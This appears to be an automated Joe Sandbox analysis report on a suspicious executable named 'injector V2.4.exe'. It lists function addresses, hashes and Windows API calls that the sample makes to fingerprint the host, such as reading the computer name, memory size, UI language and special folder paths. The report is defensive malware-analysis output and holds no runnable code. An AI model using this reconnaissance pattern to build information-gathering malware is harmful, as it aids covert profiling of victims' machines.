csm, xrefs: 004D8E08
csm, xrefs: 004D8D97

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: fb2ed8a83059507ac120473e9f098b4cc484e03a170de68f0b1c3195545374a9
Instruction ID: cc7bb379e472f72b95c0434cf05db5a65aea231faf320e1337c36e0f4711d214
Opcode Fuzzy Hash: fb2ed8a83059507ac120473e9f098b4cc484e03a170de68f0b1c3195545374a9
Instruction Fuzzy Hash: 6F31EF72400254EFCF229F51C8208BB7B26FB08318B084A5FF84489361CB3ADD61DF89

Function 004D41C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004D49EA
___raise_securityfailure.LIBCMT ref: 004D4AD2

Part of subcall function 004D59FC: RaiseException.KERNEL32(E06D7363,00000001,00000003,004D49DE,BB40E64E,?,?,?,004D49DE,?,004E9B2C), ref: 004D5A5C

Strings

%L, xrefs: 004D4A55

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: %L
API String ID: 3749517692-2702991972
Opcode ID: dfd976d5bbf61b43069504c8e32ef71176d5b2750ceb556ea22d760f694b59f1
Instruction ID: ce01194a8a78db14505d8324a97e97940c31d6b6563c53b841a6f997b12654a5
Opcode Fuzzy Hash: dfd976d5bbf61b43069504c8e32ef71176d5b2750ceb556ea22d760f694b59f1
Instruction Fuzzy Hash: 5F313AB5500394ABD700DF66ECE6A597BA8BB48314F10417BE918CE3E2E774A9468F4C

Function 004D4241 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004D49EA
___raise_securityfailure.LIBCMT ref: 004D4AD2

Strings

%L, xrefs: 004D4A55

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: %L
API String ID: 3761405300-2702991972
Opcode ID: 9af2f3987a05bd664f4051f7ad3e9ab7c4b07df2a354a27ddbdb58caa0bf251c
Instruction ID: c4f85501eb4e60f789ed6969f69ea3dae1a4398b7d4a2e82960b1b8e3cf0e559
Opcode Fuzzy Hash: 9af2f3987a05bd664f4051f7ad3e9ab7c4b07df2a354a27ddbdb58caa0bf251c
Instruction Fuzzy Hash: 7D21BFB55043A4EED710CF16E9D6A657BA4FB48314F1050BBE919CF3A2E3B4A8428F4C

Function 004D45A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 004D4533: __EH_prolog3_GS.LIBCMT ref: 004D453A

std::domain_error::domain_error.LIBCPMT ref: 004D45EC

Part of subcall function 004D43A4: std::exception::exception.LIBCONCRT ref: 004D43BA

Strings

CDM, xrefs: 004D45B6, 004D45C9
CDM, xrefs: 004D45D7

Memory Dump Source

Source File: 00000003.00000002.2088419718.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000003.00000002.2088403836.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088441225.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088456416.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088473187.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2088491312.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4c0000_injector V2.jbxd

Similarity

API ID: H_prolog3_std::domain_error::domain_errorstd::exception::exception
String ID: CDM$CDM
API String ID: 2144476180-485079685
Opcode ID: 508c82b7fadb6698e47a177a3a617d5462ecde6cf22c5f1827b8317e25e78dd2
Instruction ID: 4bff465f5eb52eb7ce5761ed7c8a2ee6cc614f300affc1cc6247d18b11eb4bda
Opcode Fuzzy Hash: 508c82b7fadb6698e47a177a3a617d5462ecde6cf22c5f1827b8317e25e78dd2
Instruction Fuzzy Hash: 80014070D00208ABCF18EF6AD85589EBBF4EF88308750842FE41597341DB34D605CB94

Analysis Process: injector V2.4.exePID: 6564, Parent PID: 5508COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.5%
Total number of Nodes:	331
Total number of Limit Nodes:	29

Executed Functions

Function 004389D0 Relevance: 40.7, APIs: 11, Strings: 12, Instructions: 484
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443678,00000000,00000001,00443668,00000000), ref: 00438B0C
SysAllocString.OLEAUT32(79CB7BB2), ref: 00438BA3
CoSetProxyBlanket.COMBASE(00006F68,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438BE1
SysAllocString.OLEAUT32(79CB7BB2), ref: 00438C50
SysAllocString.OLEAUT32(79CB7BB2), ref: 00438D15
VariantInit.OLEAUT32(?), ref: 00438D80
VariantClear.OLEAUT32(?), ref: 00438F04
SysFreeString.OLEAUT32(?), ref: 00438F2F
SysFreeString.OLEAUT32(?), ref: 00438F35
SysFreeString.OLEAUT32(00000000), ref: 00438F46

Strings

x[, xrefs: 00438C72
q]j], xrefs: 00438D0D
9]j], xrefs: 00438CD0
T#]], xrefs: 00438C62
!_2Y, xrefs: 00438C6A
;OnI, xrefs: 00438C8A
C, xrefs: 00438ABB
tw, xrefs: 00438CBA
I'Y!, xrefs: 00438C5A
tW(Q, xrefs: 00438C7A
"S#M, xrefs: 00438C82
\, xrefs: 00438AC6

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInitInstanceProxy
String ID: !_2Y$"S#M$9]j]$;OnI$C$I'Y!$T#]]$\$q]j]$tW(Q$tw$x[
API String ID: 2485776651-621965088
Opcode ID: 9396cb8f17d18c9f60335c4eb3dae25d3e470e3c7ae8411d7b2ccb259684225f
Instruction ID: 78e83211301507079be73e4fe13c709d001eec66ed3dbdc862d3520982de3262
Opcode Fuzzy Hash: 9396cb8f17d18c9f60335c4eb3dae25d3e470e3c7ae8411d7b2ccb259684225f
Instruction Fuzzy Hash: 4EF10EB2A083009BD310DF65C885B5BFBE5EFC9704F148A2DF5959B290D778D906CB86

Function 00418BE3 Relevance: 11.3, APIs: 1, Strings: 5, Instructions: 822
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^, xrefs: 00418FCB
z, xrefs: 004193D6
??;4, xrefs: 00418FB6
7654, xrefs: 00418F11
0, xrefs: 004192AA

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 0$7654$??;4$^$z
API String ID: 0-2567570624
Opcode ID: 9ec0e6aff255a45d3c2ce9d53ddb9f719d78b7d2f6d3ba07001a99e0c1e98cf1
Instruction ID: b1bab82a719bfbb6248ae59022c6f20018a5e48ecd229fcddef7335a908d3544
Opcode Fuzzy Hash: 9ec0e6aff255a45d3c2ce9d53ddb9f719d78b7d2f6d3ba07001a99e0c1e98cf1
Instruction Fuzzy Hash: 234204B5A083418BD724CF24D8517EBB7E2EFCA304F08492EE4C987391E7399955CB5A

Function 00408AE0 Relevance: 7.7, APIs: 5, Instructions: 198
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408B02
GetCurrentThreadId.KERNEL32 ref: 00408B15
GetCurrentProcessId.KERNEL32 ref: 00408B1D
GetForegroundWindow.USER32 ref: 00408C6E
ExitProcess.KERNEL32 ref: 00408D36

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: e99b9c22fb25575f9126c025eed0440529ca7e6e2d35627aad7f0ff0fd22502f
Instruction ID: 3916312ac2da3a89c62ac9926c891368b4596cef17ec7d1c1499a6de1a4fdd47
Opcode Fuzzy Hash: e99b9c22fb25575f9126c025eed0440529ca7e6e2d35627aad7f0ff0fd22502f
Instruction Fuzzy Hash: 67510473B5471447C708EEBE9D8139AB6D39BC8610F0E853DA888DB395ED789C0946C9

Function 00424470 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

KB, xrefs: 00424BDA
\], xrefs: 004244B9

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: \]$KB
API String ID: 0-282600260
Opcode ID: 92c44fe8c1f774e4af65f77713d3c0eb1963ab35570d33be9f0bae4b12a83995
Instruction ID: 3fab9b1554da2861af45bec0a6cd50a870c70bd336575c68554a47ef3370b67c
Opcode Fuzzy Hash: 92c44fe8c1f774e4af65f77713d3c0eb1963ab35570d33be9f0bae4b12a83995
Instruction Fuzzy Hash: 58021FB66083508FD314CF68E89166BBBE5EFC5314F08892DE9D98B351E778C905CB86

Function 0042DD55 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DE80

Strings

FPX&, xrefs: 0042E2D9
.L6k, xrefs: 0042DE82

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: ComputerName
String ID: .L6k$FPX&
API String ID: 3545744682-1030031352
Opcode ID: e4f428f509ff5e6cb3c19bb6ef7fce41a7fd2c9908bb1c38f3bc447a5a6f9b72
Instruction ID: aa173f05b44665317560c1bde112a0d19c6c7f5019f39f8cf5563b23ce8c7574
Opcode Fuzzy Hash: e4f428f509ff5e6cb3c19bb6ef7fce41a7fd2c9908bb1c38f3bc447a5a6f9b72
Instruction Fuzzy Hash: 71E1D570604B908EE725CF3694507B3BBE1AF57304F58899ED0EB8B382D7796506CB25

Function 0042DD4E Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DE80
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 0042DF4F

Strings

FPX&, xrefs: 0042E2D9
.L6k, xrefs: 0042DE82

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: ComputerName
String ID: .L6k$FPX&
API String ID: 3545744682-1030031352
Opcode ID: e7c65ce7ee6dba4e03b97e26cea1270ebfb7e3713e142d4a7c7104a1b6d57e82
Instruction ID: 10d9fc797a3d32074fbf503759531678fa863e0e0eb484848d36d90dfdfb2c32
Opcode Fuzzy Hash: e7c65ce7ee6dba4e03b97e26cea1270ebfb7e3713e142d4a7c7104a1b6d57e82
Instruction Fuzzy Hash: 68E11760604B918EE725CF3684507B3FBD1AF57304F5889AED0EB8B382D739A506CB65

Function 00433D60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433DAE
GetSystemMetrics.USER32 ref: 00433DBD

Strings

, xrefs: 00433E91

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: e9068b8d1614f4b80017da7546eef902585b1e5db0b070eadc14fc91bf75c29b
Instruction ID: a50777ac19fecff43adaad195f11a4007055434038bf7e073da212d0a6619a29
Opcode Fuzzy Hash: e9068b8d1614f4b80017da7546eef902585b1e5db0b070eadc14fc91bf75c29b
Instruction Fuzzy Hash: 595192B4E142089FDB40EFACD985A9EBBF0BB88700F10852DE498E7350D734A944CF96

Function 0042E434 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042E4FC

Strings

o|Nx, xrefs: 0042E59F

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: o|Nx
API String ID: 3960555810-802042616
Opcode ID: 55090ea056dc510aa62f610828e46d5bdb31a3fa47c9b38dc9210595f8b174c3
Instruction ID: f503bf91390e6fbe3390ce4816fb64252292ae4852dd66876ced69c528ecd60c
Opcode Fuzzy Hash: 55090ea056dc510aa62f610828e46d5bdb31a3fa47c9b38dc9210595f8b174c3
Instruction Fuzzy Hash: B291D970508B918FD725CF3A94607A3BBE1AF53304F5849AEC0DB87782D779A40ACB54

Function 0043D880 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043D8EE

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6f68be6ec956a6583a85b5b43e644dfcdb69abe17a7243014ccb1c04c9939d51
Instruction ID: 0b3d3b0c0615522f10db29576abadf12e02e27a3a625570a85f481a160202f54
Opcode Fuzzy Hash: 6f68be6ec956a6583a85b5b43e644dfcdb69abe17a7243014ccb1c04c9939d51
Instruction Fuzzy Hash: FD0128B1E062018BD318AF75EC51B2BB766EFCA300F08993DE98193241E638D8558796

Function 0043D920 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00411AA3), ref: 0043D94E

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00440620 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@, xrefs: 0044068D

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 0475917a1a8bbe351991b2093614af9c6e3f5bd09f22263d332902a3f21969f9
Instruction ID: 4b259642c4a6d7a99f9af5d21d433992198207b2e4a927d98d07ded2539b41dd
Opcode Fuzzy Hash: 0475917a1a8bbe351991b2093614af9c6e3f5bd09f22263d332902a3f21969f9
Instruction Fuzzy Hash: 6631FF716083048BD314DF68D8C1A6BFBF4FF8A304F15892DE68987391E7789918CB5A

Function 00440740 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e2e4a7a582348601e141d1a64f92d77e41cde39af5ebceb16fd8896977840cd7
Instruction ID: ad44c87781cf1a8a43f37b6594503ed622ccc9cc0f27c007faec6592b3e66a25
Opcode Fuzzy Hash: e2e4a7a582348601e141d1a64f92d77e41cde39af5ebceb16fd8896977840cd7
Instruction Fuzzy Hash: 3E7106756043419BEB15EF28C850A2FB3E2FFC9350F19C42DE6858B356E738D861978A

Function 00420970 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227b3ff5576315b635a7910336eeac6758ebc8b89ea0154b3321cb937fa4b268
Instruction ID: fd94310adb4de760c7d7c3a3ca757dfebc471b0dc2fb50c609f975835bcd1d9b
Opcode Fuzzy Hash: 227b3ff5576315b635a7910336eeac6758ebc8b89ea0154b3321cb937fa4b268
Instruction Fuzzy Hash: F7514B76A0D3009FE310DF65EC8175BB7E5EB86314F04853DF68487281E779990ACB9A

Function 0040A10E Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3376c5780ff4783cba57ca5b2ed756fdeca83758466a62a9a568b40f5c76f192
Instruction ID: e32dd57dfee8a6373bd6d9c6ffa489eeaa640e30f2edf390baa49a0d4f32e9e2
Opcode Fuzzy Hash: 3376c5780ff4783cba57ca5b2ed756fdeca83758466a62a9a568b40f5c76f192
Instruction Fuzzy Hash: 946107B4D002404FE704DF68C955BAEBBB1BB45304F1941ACD8886B385D778C846CBE6

Function 0040CE5A Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151a0b0d1d0d1be4cc1d159a629a451b5c7fe46777ba24f86f3b905103d69d3c
Instruction ID: 684847568e63329ad74cab9d0d2d3044732733c62a1d1e84330838568e632740
Opcode Fuzzy Hash: 151a0b0d1d0d1be4cc1d159a629a451b5c7fe46777ba24f86f3b905103d69d3c
Instruction Fuzzy Hash: 021106356942449BEF048FA4DD967EE7FB2EF5A304F2440ADC041B7392D6398D458B5C

Function 0040C7A5 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5f4ec3c9038722f1d4064c3d749de1a29aeeec8a9c3730a1ed6e76fe59fcc5
Instruction ID: 6223a200e89733de9b39cbb2e55d4e3386871cbfeb0ebab32caeb2a371115a50
Opcode Fuzzy Hash: 1d5f4ec3c9038722f1d4064c3d749de1a29aeeec8a9c3730a1ed6e76fe59fcc5
Instruction Fuzzy Hash: 63F039756183049FE7449F21EC847AAB3F5EB86305F41982CF99193261EB70D809DA0A

Function 0043752B Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00437557

Strings

v, xrefs: 00437576
w, xrefs: 0043757D
e, xrefs: 0043756F

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: e$v$w
API String ID: 95929093-3612681874
Opcode ID: 7a0c0f3006529894f765e2799cfbaa29dc2c6a1760577915c5aaf8166dc81fd6
Instruction ID: e16cee4b57f901d5de6ee18429f121bfe74fff0e0723030549257062cbd6a79e
Opcode Fuzzy Hash: 7a0c0f3006529894f765e2799cfbaa29dc2c6a1760577915c5aaf8166dc81fd6
Instruction Fuzzy Hash: 0B21D435A052D68FCB28CB78CC507AD7FA16F4A314F0985FDD49AA7B82EA784D408B51

Function 0043B070 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043B0F0

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 067062678a84efdd0e7db51d0cfa6fe89f7adf20a88878a0838a84ed2eadcfe8
Instruction ID: 0e8247adfe53c3d58792063fc2aa977bfa5c3ef0f2d592079fb2eb92c1b7fc94
Opcode Fuzzy Hash: 067062678a84efdd0e7db51d0cfa6fe89f7adf20a88878a0838a84ed2eadcfe8
Instruction Fuzzy Hash: 68014472A243508FC7089B64ECA5B2B7BA5EFC6305F0A403DDA81876A0E7B45810D7D6

Function 0043D9B6 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E6E8

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ff2f1a7e420edd10458626377f7d2e8dfe6041faebf13f43ff61b7bb79c1b383
Instruction ID: 69545db2e6297d019d21189510e34310e0b631507fbc220568edd7c86cc665cc
Opcode Fuzzy Hash: ff2f1a7e420edd10458626377f7d2e8dfe6041faebf13f43ff61b7bb79c1b383
Instruction Fuzzy Hash: 45F0F0BA9010019FDB018F74E85566ABBA0FF1A310F1499A5D052C73A2D6388952CB48

Function 00432390 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004323D9

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 8c12ec45013d332c1a3d2d77874da8384313247d51add3fe2471fd63d967a25f
Instruction ID: a984b5ad6936b49ee2f461f34ab930f86c3eb08b7b20e116be4e87e6f8979fce
Opcode Fuzzy Hash: 8c12ec45013d332c1a3d2d77874da8384313247d51add3fe2471fd63d967a25f
Instruction Fuzzy Hash: D4F0AFB46183428FE310DF24C5A974BBBE4BB8A308F10891CE5944B295CBB99648CB82

Function 0042FC22 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FC6B

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 08dafdfdfe9a7c9b6191068d195533e3b66fd54997fee8b243fdf1bbc06b4a11
Instruction ID: 132b52fd7802fe4bfc6d3a7148e392146a2953d2c6d09b9c10ac09a149df5120
Opcode Fuzzy Hash: 08dafdfdfe9a7c9b6191068d195533e3b66fd54997fee8b243fdf1bbc06b4a11
Instruction Fuzzy Hash: 7EF0A9B45057018FD344DF28C5A871ABBE0AB89704F10481CE0958B3A0DB759548CF81

Function 0043B030 Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0041197E), ref: 0043B060

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c68143cb518e74a69266f4930f3d8b431186b7bd823fea2b57977c23afd500a3
Instruction ID: 4c64f78faed6f1d0fb51450777116b3bddbd2d2e4b33a2b21e8f3e9e9918578c
Opcode Fuzzy Hash: c68143cb518e74a69266f4930f3d8b431186b7bd823fea2b57977c23afd500a3
Instruction Fuzzy Hash: FEE048341087405BD7495B2498A1A6B7B61DB9A720F20156DE0D2936F1C7269817DE45

Function 0043E6D2 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043E6E8

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 5378d3d2048bdbd916e0b8f81ff029b74cb5789b742d7d28b86c7719156b9cbc
Instruction ID: 5dcfcd798132ed83e6b68411b09b756ab74c9c7dc729c48ee306d9ced8dab402
Opcode Fuzzy Hash: 5378d3d2048bdbd916e0b8f81ff029b74cb5789b742d7d28b86c7719156b9cbc
Instruction Fuzzy Hash: 69F0C2BAE41104EFCB04DFA4FC958A9B7B2FB0A315B2404A9E502A7371DB71A915CF49

Function 0040D260 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040D273

Memory Dump Source

